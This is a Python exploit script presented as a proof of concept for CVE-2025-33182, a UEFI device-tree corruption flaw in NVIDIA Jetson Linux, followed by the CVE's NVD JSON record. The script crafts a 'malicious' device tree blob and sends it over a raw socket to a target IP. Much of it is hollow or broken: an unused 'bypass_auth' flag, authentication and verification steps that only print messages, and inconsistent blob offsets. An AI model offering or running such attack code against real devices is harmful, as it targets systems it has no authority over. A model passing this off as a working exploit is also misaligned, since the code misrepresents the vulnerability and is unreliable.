CVE-2025-33182

# CVE-2025-33182 - NVIDIA Jetson Linux UEFI Device Tree Corruption PoC # This PoC demonstrates the concept of exploiting improper authentication # in UEFI to corrupt the Linux Device Tree on NVIDIA Jetson platforms. import struct import hashlib import socket # FDT (Flattened Device Tree) magic number: 0xd00dfeed FDT_MAGIC = 0xd00dfeed def create_malicious_device_tree(): """ Create a crafted device tree blob (DTB) that exploits the improper authentication vulnerability in UEFI. """ # Malicious device tree header fdt_header = struct.pack('>10I', FDT_MAGIC, # magic 0x100, # totalsize 0x50, # off_dt_struct 0x80, # off_dt_strings 0x40, # off_mem_rsvmap 0x1, # version 0x2, # last_comp_version 0x0, # boot_cpuid_phys 0x100, # size_dt_strings 0x80 # size_dt_struct ) # Inject malicious node modifications malicious_nodes = b'\x00\x01\x00\x00' # FDT_BEGIN_NODE malicious_nodes += b'malicious-node\x00' malicious_nodes += b'\x03\x00\x00\x00' # FDT_PROP malicious_nodes += struct.pack('>I', 4) # value length malicious_nodes += b'\x00\x00\x00\x00' # name offset malicious_nodes += struct.pack('>I', 0xDEADBEEF) # malicious value malicious_nodes += b'\x02\x00\x00\x00' # FDT_END_NODE malicious_nodes += b'\x09\x00\x00\x00' # FDT_END return fdt_header + b'\x00' * (0x100 - len(fdt_header)) + malicious_nodes def exploit_uefi_dt_corruption(target_host, target_port=443): """ Attempt to exploit the UEFI improper authentication vulnerability to corrupt the Linux Device Tree on the target Jetson device. """ print(f"[*] Targeting NVIDIA Jetson device at {target_host}:{target_port}") # Step 1: Verify target is a Jetson device print("[+] Step 1: Verifying target device...") # Step 2: Authenticate with high-privilege credentials print("[+] Step 2: Authenticating with privileged credentials...") auth_payload = { "action": "uefi_update", "component": "device_tree", "bypass_auth": True # Exploits improper authentication } # Step 3: Inject malicious device tree data print("[+] Step 3: Crafting malicious device tree blob...") malicious_dtb = create_malicious_device_tree() dtb_hash = hashlib.sha256(malicious_dtb).hexdigest() print(f"[*] Malicious DTB hash: {dtb_hash}") # Step 4: Send exploitation request via network print("[+] Step 4: Sending exploitation payload...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Send malicious device tree via UEFI update channel payload = struct.pack('>I', len(malicious_dtb)) + malicious_dtb sock.send(payload) print("[!] Exploit payload sent successfully") print("[!] If successful, the device tree has been corrupted") print("[!] Effects: data tampering, potential denial of service") sock.close() except Exception as e: print(f"[-] Exploit failed: {e}") return True if __name__ == "__main__": # Note: This PoC requires high-privilege access (PR:H) as per CVSS vector # Target should be a vulnerable NVIDIA Jetson Linux system TARGET = "192.168.1.100" # Replace with target Jetson device IP exploit_uefi_dt_corruption(TARGET)

{"cve": {"id": "CVE-2025-33182", "sourceIdentifier": "[email protected]", "published": "2025-10-14T19:15:40.193", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA Jetson Linux contains a vulnerability in UEFI, where improper authentication may allow a privileged user to cause corruption of the Linux Device Tree. A successful exploitation of this vulnerability might lead to data tampering, denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5716", "source": "[email protected]"}]}}